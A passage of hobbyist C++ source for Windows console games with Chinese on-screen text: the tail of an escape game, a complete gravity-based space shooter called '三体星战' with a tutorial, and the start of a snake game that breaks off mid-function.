if(foggy==0){ all_print(); } else{ foggy_print(); } } printf("\n\n是否继续逃脱('Y'/'N'): "); cin>>again; } system("cls"); printf("你总共逃脱了%d次!",wave); Sleep(5000); return 0; }
三体星战
#include<bits/stdc++.h> #include<windows.h> #include<conio.h> using namespace std; int toint(double a){return ((int)(a*10+5))/10;} int rand(int a){return rand()%a;} void SlowDisplay(int x,char *p){while(1){if(*p!=0) printf("%c",*p++);else break;Sleep(x);}} void Setpos(double x,double y){COORD pos;pos.X=toint(y*2),pos.Y=toint(x);SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);} void Color(int a){ if(a==-1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==-2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); if(a==-3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_RED); if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED); if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_GREEN); if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_GREEN|BACKGROUND_BLUE); if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_RED|BACKGROUND_BLUE); if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_BLUE); } struct node{int what;double x,y,vx,vy,r,m;bool life;int gun,master=-1;}Sun[1000001]; int b,T,m[41][41],n[41][41],m2[41][41],n2[41][41],dif[11],Speed=10,Ba,Hotguntime,Hotguntimemax=10,Blood,Score; double Speedmax,Speedless,Speedmore=1,Balljump=-0.7,Fire=0.08; void Push(int a,int b){ if(Sun[a].master==b||Sun[b].master==a) return; if(Sun[a].life==0||Sun[b].life==0) return; if(Sun[a].what==3||Sun[b].what==3) return; if(Sun[a].what==4||Sun[b].what==4) return; double Ax=Sun[a].x-Sun[b].x,Ay=Sun[a].y-Sun[b].y,Dis=sqrt(Ax*Ax+Ay*Ay)*1.0,fDis=sqrt((Sun[a].vx-Sun[b].vx)*(Sun[a].vx-Sun[b].vx)+(Sun[a].vy-Sun[b].vy)*(Sun[a].vy-Sun[b].vy)); if(Dis==0) return;if(abs(Ay)<=0.0001) Ay=0.0001; if(Sun[a].what==2||Sun[b].what==2) int c; else if(Dis<=Sun[a].r+Sun[b].r+fDis){ double Vx=(Sun[a].vx+Sun[b].vx)/2.0,Vy=(Sun[a].vy+Sun[b].vy)/2.0,aX=(Sun[a].x+Sun[b].x+Sun[a].vx+Sun[b].vx)/2.0,aY=(Sun[a].y+Sun[b].y+Sun[a].vy+Sun[b].vy)/2.0; Sun[a].vx=Sun[b].vx=Vx,Sun[a].vy=Sun[b].vy=Vy;Sun[a].x=aX-(Ax/Dis)/2.0,Sun[b].x=aX+(Ax/Dis)/2.0;Sun[a].y=aY-(Ay/Dis)/2.0,Sun[b].y=aY+(Ay/Dis)/2.0; return; } double ac=Sun[a].m*Sun[b].m/(Dis*Dis)*1.0,afx=0,afy=0,d=abs(Ax/Ay*1.0); afy=sqrt(ac/(1+d*d))*1.0,afx=sqrt(ac/(1+d*d))*d*1.0; if(Ax>0) afx*=-1;if(Ay>0) afy*=-1; #define A Sun[a].vx+=afx/Sun[a].m*Speedless,Sun[a].vx=max(-Speedmax,min(Speedmax,Sun[a].vx)),Sun[a].vy+=afy/Sun[a].m*Speedless,Sun[a].vy=max(-Speedmax,min(Speedmax,Sun[a].vy)) #define B Sun[b].vx-=afx/Sun[b].m*Speedless,Sun[b].vx=max(-Speedmax,min(Speedmax,Sun[b].vx)),Sun[b].vy-=afy/Sun[b].m*Speedless,Sun[b].vy=max(-Speedmax,min(Speedmax,Sun[b].vy)) Speedmax=0.1,Speedless=0.01; if(Sun[a].what==2&&Sun[b].what==2) Speedmax=3.0; if(Sun[a].what==0) {Speedless=0.008;Speedmax=1.0; A;} else if(Sun[a].what==1) {A; if(Sun[b].what==1) B;} else if(Sun[a].what==2) {Speedless=0.8;B;if(Sun[b].what==2) A;} else {A;B;} } int Painting[41][41]={{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,9,9,9,9,9,9,9,9,9,9,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0},{0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0},{0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0},{0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0},{0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,2,9,9,9,9,9,9,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,3,9,9,9,9,9,9,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,4,9,9,9,9,9,9,9,9,9,9,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},}; void Paint(int a); void Move(int a){ Blood=10000000; memset(m,0,sizeof(m)); memset(m2,0,sizeof(m2)); #define ix toint(Sun[i].x/1.0) #define iy toint(Sun[i].y/1.0) #define jx toint(Sun[j].x/1.0) #define jy toint(Sun[j].y/1.0) if(Sun[0].life==1){ Sun[0].x+=Sun[0].vx/Speedmore;Sun[0].y+=Sun[0].vy/Speedmore; if(Sun[0].x>40) Sun[0].x=40,Sun[0].vx=0;if(Sun[0].x<0) Sun[0].x=0,Sun[0].vx=0;if(Sun[0].y>40) Sun[0].y=40,Sun[0].vy=0;if(Sun[0].y<0) Sun[0].y=0,Sun[0].vy=0;} for(int i=0;i<=b;i++) for(int j=i+1;j<=b;j++) Push(i,j); for(int i=0;i<=b;i++) for(int j=0;j<=b;j++) { if(i==j||Sun[i].life==0||Sun[j].life==0) continue; if(Sun[i].what==4&&(Sun[j].what>=100&&Sun[j].what<200)) {if(abs(ix-jx)<1&&abs(iy-jy)<1) Ba--,Sun[i].life=Sun[j].life=0,Score+=10;} if(Sun[i].what==203&&Sun[i].master!=j&&Sun[j].what<200) if(abs(ix-jx)<2&&abs(iy-jy)<2) Sun[j].vx-=Sun[i].vx/10.0,Sun[j].vy-=Sun[i].vy/10.0,Sun[i].life=0; if(Sun[i].what==204&&Sun[i].master!=j&&Sun[j].what<200) if(abs(ix-jx)<2&&abs(iy-jy)<2) Sun[j].vx+=Sun[i].vx/10.0,Sun[j].vy+=Sun[i].vy/10.0,Sun[i].life=0; } int i=0; if(m[ix][iy]>0&&m[ix][iy]<100) { if(m[ix][iy]<=1) Blood-=1; else if(m[ix][iy]<=4) Blood-=2; else if(m[ix][iy]<=10) Blood-=3; else if(m[ix][iy]>10&&m[ix][iy]<100) Blood-=4; } for(int i=1;i<=b;i++){ if(Sun[i].life==0) continue; Sun[i].x+=Sun[i].vx/Speedmore;Sun[i].y+=Sun[i].vy/Speedmore; Balljump=-0.7; if(Sun[i].what==3) Balljump=-1; if(Sun[i].what==4) Balljump=-1; if(Sun[i].x>40) Sun[i].x=40,Sun[i].vx*=Balljump; if(Sun[i].x<0) Sun[i].x=0,Sun[i].vx*=Balljump;if(Sun[i].y>40) Sun[i].y=40,Sun[i].vy*=Balljump;if(Sun[i].y<0) Sun[i].y=0,Sun[i].vy*=Balljump; if(Sun[i].what==1) {m[ix][iy]+=2;int R;R=rand(3);if(R==0&&ix<40) m[ix+1][iy]++;R=rand(3);if(R==0&&ix>0) m[ix-1][iy]++;R=rand(3);if(R==0&&iy<40) m[ix][iy+1]++;R=rand(3);if(R==0&&iy>0) m[ix][iy-1]++;} if(Sun[i].what==2) {m[ix][iy]+=2;if(ix<40) m[ix+1][iy]+=10;if(ix>0) m[ix-1][iy]+=10;if(iy<40) m[ix][iy+1]+=10;if(iy>0) m[ix][iy-1]+=10;if(ix<40&&iy<40) m[ix+1][iy+1]+=4;if(ix<40&&iy>0) m[ix+1][iy-1]+=4;if(ix>0&&iy<40) m[ix-1][iy+1]+=4;if(ix>0&&iy>0) m[ix-1][iy-1]+=4;m[ix][iy]=10086;} if(Sun[i].what==3) {if(abs(ix-Sun[0].x)<1&&abs(iy-Sun[0].y)<1) Ba--,Sun[i].life=0;else m2[ix][iy]=2;} if(Sun[i].what==4) {m2[ix][iy]=2;} if(Sun[i].what>=100&&Sun[i].what<300) { if(Sun[i].x==0||Sun[i].y==0||Sun[i].x==40||Sun[i].y==40||(abs(Sun[i].vx)<=0.5&&abs(Sun[i].vy)<=0.5)) Sun[i].life=0; if(Sun[i].what==203||Sun[i].what==204) {m[ix][iy]=Sun[i].what;if(ix<40) m[ix+1][iy]=Sun[i].what;if(ix>0) m[ix-1][iy]=Sun[i].what;if(iy<40) m[ix][iy+1]=Sun[i].what;if(iy>0) m[ix][iy-1]=Sun[i].what;} else m2[ix][iy]=Sun[i].what; } } if(Sun[0].life==1) m2[toint(Sun[0].x/1.0)][toint(Sun[0].y/1.0)]=1; Paint(a); } void Paint(int a){ for(int i=0;i<=40;i++) for(int j=0;j<=40;j++){ if(a==0&&Painting[i][j]!=0) continue; if(m2[i][j]!=n2[i][j]){n2[i][j]=m2[i][j];n[i][j]=0;Setpos(i,j); if(m2[i][j]==0) Color(0),cout<<" "; else if(m2[i][j]==1) Color(-1),cout<<"●"; else if(m2[i][j]==2) Color(-3),cout<<"◎"; else if(m2[i][j]==101) Color(-1),cout<<"☉"; else if(m2[i][j]==102) Color(3),cout<<" "; continue;} if(m[i][j]!=n[i][j]){n[i][j]=m[i][j];n2[i][j]=0;Setpos(i,j); if(m[i][j]>=10086) Color(4),cout<<"●"; else if(m[i][j]==203) Color(5),cout<<" "; else if(m[i][j]==204) Color(6),cout<<" "; else if(m[i][j]==0) Color(0),cout<<" ";else if(m[i][j]<=1) Color(1),cout<<" ";else if(m[i][j]<=4) Color(2),cout<<" ";else if(m[i][j]<=10) Color(3),cout<<" ";else if(m[i][j]>10&&m[i][j]<100) Color(4),cout<<" "; else Color(0),cout<<"?!";}Color(0); } } void RandStart(int a) {for(int i=1;i<=a;i++) {b++;Sun[b].x=rand(41),Sun[b].y=rand(41);Sun[b].vx=(rand(41)-20)/10.0,Sun[b].vy=(rand(41)-20)/10.0,Sun[b].m=1,Sun[b].r=1,Sun[b].life=1,Sun[b].what=1;}} void CornerStart(int a) {for(int i=1;i<=a;i++) {b++;int k=rand(4);if(k==0||k==2) Sun[b].x=rand(41);else Sun[b].y=rand(41);if(k==0) Sun[b].y=0;if(k==1) Sun[b].x=0;if(k==2) Sun[b].y=40;if(k==3) Sun[b].x=40;Sun[b].vx=(rand(41)-20)/10.0,Sun[b].vy=(rand(41)-20)/10.0,Sun[b].m=1,Sun[b].r=1,Sun[b].life=1,Sun[b].what=1;}} void SunStart(int x,int y,int r,int vx,int vy) { b++;Sun[b].x=x,Sun[b].y=y;Sun[b].vx=vx,Sun[b].vy=vy,Sun[b].m=1000,Sun[b].r=1,Sun[b].life=1,Sun[b].what=2; for(int i=x-r;i<=x+r;i++) for(int j=y-r;j<=y+r;j++){b++;Sun[b].x=i,Sun[b].y=j;Sun[b].vx=(rand(41)-20)/100.0+vx,Sun[b].vy=(rand(41)-20)/100.0+vy,Sun[b].m=1,Sun[b].r=1,Sun[b].life=1,Sun[b].what=1;} for(float i=(int)(x-r/2)-0.5;i<=(int)(x+r/2)+0.5;i++) for(float j=(int)(y-r/2)-0.5;j<=(int)(y+r/2)+0.5;j++){b++;Sun[b].x=i,Sun[b].y=j;Sun[b].vx=(rand(41)-20)/100.0+vx,Sun[b].vy=(rand(41)-20)/100.0+vy,Sun[b].m=1,Sun[b].r=1,Sun[b].life=1,Sun[b].what=1;} } void Shoot(int a,bool q) { double Sunavx=Sun[a].vx,Sunavy=Sun[a].vy; if(Sun[a].vx==0&&Sun[a].vy==0) Sunavx=-1;if(Sun[a].vy==0) Sunavy=0.001; if(Sun[a].gun>=1&&Sun[a].gun<=4) { b++;Sun[b].x=Sun[a].x,Sun[b].y=Sun[a].y;double ac; if(Sun[a].gun==1) ac=3.0; if(Sun[a].gun>=2&&Sun[a].gun<=4) ac=7.0; double d=abs(Sunavx/Sunavy*1.0);Sun[b].vy=sqrt(ac/(1+d*d))*1.0,Sun[b].vx=sqrt(ac/(1+d*d))*d*1.0; if(Sunavx>0) Sun[b].vx*=-1;if(Sunavy>0) Sun[b].vy*=-1;if(q==1) Sun[b].vx*=-1,Sun[b].vy*=-1;Sun[b].life=1; Sun[b].master=a; int bb=b; if(Sun[a].gun==1||Sun[a].gun==2) Sun[b].what=100+Sun[a].gun,Sun[b].m=1; if(Sun[a].gun==3||Sun[a].gun==4) Sun[b].what=200+Sun[a].gun,Sun[b].m=1; if(Sun[a].gun>=2&&Sun[a].gun<=4){ double kx=Sun[bb].x,ky=Sun[bb].y; for(int j=1;j<=7;j++) { kx-=Sun[bb].vx/3.5,ky-=Sun[bb].vy/3.5; if(kx<0||ky<0||kx>40||ky>40) continue; b++,Sun[b].x=kx,Sun[b].y=ky,Sun[b].vx=Sun[bb].vx,Sun[b].vy=Sun[bb].vy,Sun[b].what=Sun[bb].what,Sun[b].master=a,Sun[b].life=1; } } } } void Start(){ for(int i=0;i<=40;i++) for(int j=0;j<=40;j++){if(Painting[i][j]==1) Setpos(i,j),Color(-2),cout<<"■";if(Painting[i][j]==2) Setpos(i,j),Color(-2),cout<<" ";if(Painting[i][j]==3) Setpos(i,j),Color(-2),cout<<"按 y 开始游戏!";if(Painting[i][j]==4) Setpos(i,j),Color(-2),cout<<" ";if(Painting[i][j]==5) Setpos(i,j),Color(-2),cout<<" ";} for(int i=1;i<=3;i++) SunStart(rand(31)+5,rand(31)+5,5,(rand(101)-50)/10.0,(rand(101)-50)/10.0); T=0; while(1){ T++; if(T%50==0) CornerStart(1); if(kbhit()){char g=_getch();if(g=='y') break; } Move(0); Sleep(Speed); } Color(0);system("cls"); Setpos(10,10);SlowDisplay(30,"你想要教程吗?(y/n)"); char g=_getch();if(g!='y') return;Setpos(10,10);SlowDisplay(30,"那我们开始。。。 ");Sleep(500); system("cls"); Setpos(30,10);system("cls"); memset(Sun,0,sizeof(Sun));memset(m,0,sizeof(m));memset(m2,0,sizeof(m2)); Sun[0].x=Sun[0].y=20;Sun[0].life=1;Sun[0].m=10; T=0; int step=0; while(1){ T++; if(T==2) { Setpos(10,10),SlowDisplay(30,"这是你的飞船,你可以用↑↓←→键来操纵它。");Sleep(500); Setpos(12,10),SlowDisplay(30,"在宇宙航行没有阻力,也就是说你的惯性会主导一切。");Sleep(500); Setpos(14,10),SlowDisplay(30,"当你撞到边界时,你的速度会减为零。");Sleep(1000); Setpos(16,10),SlowDisplay(30,"试试看。"); } if(T==200) { Setpos(10,10),SlowDisplay(30,"在宇宙航行时有两个小技巧: "); Setpos(12,10),SlowDisplay(30,"1、不要太快。 "); Setpos(14,10),SlowDisplay(30,"2、有时转向比调头更有用。 ");Sleep(1000); Setpos(16,10),SlowDisplay(30,"接下来我们稍稍提高点难度!请到达所有靶位点!");Sleep(500); b++;Sun[b].x=rand(40),Sun[b].y=rand(40);Sun[b].vx=(rand(101)-50)/30.0,Sun[b].vy=(rand(101)-50)/30.0,Sun[b].life=1,Sun[b].what=3;Ba++; Move(1);Sleep(1000); } if(Ba>0) Setpos(1,1),cout<<"剩余靶位点:"<<Ba<<' '; if(step>=1) Setpos(5,1),cout<<"Cooling time: "<<Hotguntime<<" "; if(T>200&&Ba==0&&step==0) T=201,step=1,Setpos(1,1),cout<<" "; if(T>300&&Ba==0&&step==1) T=201,step=2,Setpos(1,1),cout<<" "; if(T==202&&step==1) { Setpos(10,10),SlowDisplay(30,"做的好!看来是时候给你装备初始武器了。"); Setpos(12,10),SlowDisplay(50,"。。。 星际电磁轨道炮 已装备。"); Setpos(14,10),SlowDisplay(30,"按下w/s发射子弹! "); Sun[0].gun=1;Hotguntime=0; } if(T==300&&step==1) { Setpos(16,10),SlowDisplay(30,"来吧!请击毁所有靶位点!");Sleep(500); b++;Sun[b].x=rand(40),Sun[b].y=rand(40);Sun[b].vx=(rand(101)-50)/30.0,Sun[b].vy=(rand(101)-50)/30.0,Sun[b].life=1,Sun[b].what=4;Ba++; Move(1);Sleep(1000); Ba=1; } if(T==202&&step==2) { Setpos(10,10),SlowDisplay(30,"太阳什么的你也看到过了。 "); Setpos(12,10),SlowDisplay(30,"其旁缠绕着的火会扣你的血。 "); Setpos(14,10),SlowDisplay(30,"打靶位点可以积10分,发射子弹-1分,分数达到20通关,简单吧!");Sleep(1000); Setpos(16,10),SlowDisplay(60,"让 我 们 开 始 吧!!!");Sleep(1000); system("cls");return; } double v=sqrt(Sun[0].vx*Sun[0].vx+Sun[0].vy*Sun[0].vy); if(GetAsyncKeyState(VK_UP)&0x8000) {if(Sun[0].vx>=0) Sun[0].vx-=2*Fire;else if(v<4) Sun[0].vx-=Fire;} else if(GetAsyncKeyState(VK_DOWN)&0x8000) {if(Sun[0].vx<=0) Sun[0].vx+=2*Fire;else if(v<4) Sun[0].vx+=Fire;} if(GetAsyncKeyState(VK_LEFT)&0x8000) {if(Sun[0].vy>=0) Sun[0].vy-=2*Fire;else if(v<4) Sun[0].vy-=Fire;} else if(GetAsyncKeyState(VK_RIGHT)&0x8000) {if(Sun[0].vy<=0) Sun[0].vy+=2*Fire;else if(v<4) Sun[0].vy+=Fire;} if(Hotguntime>0) Hotguntime--; if(kbhit()){ char g=_getch(); if(Hotguntime==0&&g=='s') { if(abs(Sun[0].vx)>=0.01) Sun[0].vx*=0.7; if(abs(Sun[0].vy)>=0.01) Sun[0].vy*=0.7; Shoot(0,0); Hotguntime=Hotguntimemax; } if(Hotguntime==0&&g=='w') { if(abs(Sun[0].vx)<=2) Sun[0].vx*=1.2; if(abs(Sun[0].vy)<=2) Sun[0].vy*=1.2; Shoot(0,1); Hotguntime=Hotguntimemax; } } Move(1); Sleep(Speed); } } int main() { system("mode con cols=82 lines=43"); CONSOLE_CURSOR_INFO cursor_info={1,0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info); srand((unsigned)time(NULL)); Y: Start(); memset(Sun,0,sizeof(Sun));memset(m,0,sizeof(m));memset(m2,0,sizeof(m2)); YY:system("cls"); Setpos(10,10),SlowDisplay(30,"选难度吧,几个太阳?(0~10,回车确定)"); int i=10;while(dif[i]!=1&&i>=0){i--;} Setpos(12,10); if(i==-1) printf("推荐难度:0个太阳。"); else if(i<10) printf("加油,推荐难度:%d个太阳。",i+1); else if(i==10) printf("你通关了!随便选吧!",i); Setpos(15,10); int p;cin>>p; if(p<0||p>10) {SlowDisplay(150,"输入错误!"),Sleep(1000);goto YY;} for(int i=1;i<=p;i++) SunStart(rand(31)+5,rand(31)+5,5,(rand(101)-50)/10.0,(rand(101)-50)/10.0); Sun[0].x=Sun[0].y=5;Sun[0].vx=0.1;Sun[0].life=1;Sun[0].m=10; T=0; Sun[0].gun=1; Blood=100; Score=0;Ba=0; for(int i=1;i<=10;i++) {b++;Sun[b].x=rand(40),Sun[b].y=rand(40);Sun[b].vx=(rand(101)-50)/30.0,Sun[b].vy=(rand(101)-50)/30.0,Sun[b].life=1,Sun[b].what=4;Ba++;} while(Blood>0&&Score<100){ Setpos(1,1),cout<<"Blood: "<<Blood<<" "; Setpos(3,1),cout<<"Score: "<<Score<<" "; Setpos(5,1),cout<<"Cooling time: "<<Hotguntime<<" "; T++; if(T==1) Sleep(1000); if(T%50==0) CornerStart(1); if(T%30==0&&Ba<5) {b++;Sun[b].x=rand(40),Sun[b].y=rand(40);Sun[b].vx=(rand(101)-50)/30.0,Sun[b].vy=(rand(101)-50)/30.0,Sun[b].life=1,Sun[b].what=4;Ba++;} if(T%40==0&&Blood<100) Blood++; double v=sqrt(Sun[0].vx*Sun[0].vx+Sun[0].vy*Sun[0].vy); if(GetAsyncKeyState(VK_UP)&0x8000) {if(Sun[0].vx>=0) Sun[0].vx-=2*Fire;else if(v<4) Sun[0].vx-=Fire;} else if(GetAsyncKeyState(VK_DOWN)&0x8000) {if(Sun[0].vx<=0) Sun[0].vx+=2*Fire;else if(v<4) Sun[0].vx+=Fire;} if(GetAsyncKeyState(VK_LEFT)&0x8000) {if(Sun[0].vy>=0) Sun[0].vy-=2*Fire;else if(v<4) Sun[0].vy-=Fire;} else if(GetAsyncKeyState(VK_RIGHT)&0x8000) {if(Sun[0].vy<=0) Sun[0].vy+=2*Fire;else if(v<4) Sun[0].vy+=Fire;} if(Hotguntime>0) Hotguntime--; if(kbhit()){ char g=_getch(); if(Hotguntime==0&&g=='s') { if(abs(Sun[0].vx)>=0.01) Sun[0].vx*=0.7; if(abs(Sun[0].vy)>=0.01) Sun[0].vy*=0.7; Shoot(0,0); Score=max(Score-1,0); Hotguntime=Hotguntimemax; } if(Hotguntime==0&&g=='w') { if(abs(Sun[0].vx)<=2) Sun[0].vx*=1.2; if(abs(Sun[0].vy)<=2) Sun[0].vy*=1.2; Shoot(0,1); Score=max(Score-1,0); Hotguntime=Hotguntimemax; } }Move(1); Sleep(Speed); } system("cls"); if(Score<20) Setpos(10,10),SlowDisplay(150,"Sorry,你死了。"); else Setpos(10,10),SlowDisplay(10,"赢了!快去挑战下一个难度吧!"),dif[p]=1; Sleep(1000); goto Y; return 0; }
贪吃蛇
#include <iostream> #include <cstdio> #include <cstdlib> #include <ctime> #include <conio.h> #include <cmath> #include <windows.h> using namespace std; /*** 光标定位 ***/ HANDLE hout=GetStdHandle(STD_OUTPUT_HANDLE); COORD coord; void locate(int x,int y) { coord.X=y; coord.Y=x; SetConsoleCursorPosition(hout,coord); }; /*** 隐藏光标 ***/ void hide() { CONSOLE_CURSOR_INFO cursor_info={1,0}; SetConsoleCursorInfo(hout, &cursor_info); } /*** 生成随机数 ***/ double random(double start, double end) { return start+(end-start)*rand()/(RAND_MAX + 1.0); } /*** 定义地图的长宽,蛇的坐标,长度,方向,食物的位置 ***/ int m,n; struct node { int x,y; }snake[1000]; int snake_length,dir; node food; int direct[4][2]={{-1,0},{1,0},{0,-1},{0,1}}; /*** 输出墙 ***/ void print_wall() { cout << " "; for (int i=1;i<=n;i++) cout << "-"; cout << endl; for (int j=0;j<=m-1;j++) { cout << "|"; for (int i=1;i<=n;i++) cout << " "; cout << "|" << endl; } cout << " "; for (int i=1;i<=n;i++) cout << "-"; } /*** 首次输出蛇,其中snake[0]代表头 ***/ void print_snake() { locate(snake[0].x,snake[0].y); cout << "@"; for (int i=1;i<=snake_length-1;i++) { locate(snake[i].x,snake[i].y); cout << "*"; } } /*** 判断是否撞墙或者自撞 ***/ bool is_correct() { if (snake[0].x==0 || snake[0].y==0 || snake[0].x==m+1 || snake[0].y==n+1) return false; for (int i=1;i<=snake_length-1;i++) { if (snake[0].x==snake[i].x && snake[0].y==snake[i].y) return false; } return true; } /*** 随机生成并输出食物位置 ***/ bool print_food() { srand((unsigned)time(0)); bool e; while (1) { e=true; int i=(int) random(0,m)+1,j=(int) random(0,n)+1; food.x=i;food.y=j; for (int k=0;k<=snake_length-1;k++) { if (snake[k].x==food.x && snake[k].y==food.y) { e=false;break; } } if (e) break; } locate(food.x,food.y); cout << "$"; return true; } /*** 蛇的前进 ***/ bool go_ahead() { node temp; bool e=false; temp=snake[snake_length-1]; for (int i=snake_length-1;i>=1;i--) snake[i]=snake[i-1]; snake[0].x+=direct[dir][0]; snake[0].y+=direct[dir][1]; locate(snake[1].x,snake[1].y); cout << "*"; /*** 吃到了食物 ***/ if (snake[0].x==food.x && snake[0].y==food.y) { snake_length++; e=true; snake[snake_length-1]=temp; } /*** 输出此时蛇状态 ***/ if (!e) { locate(temp.x,temp.y); cout 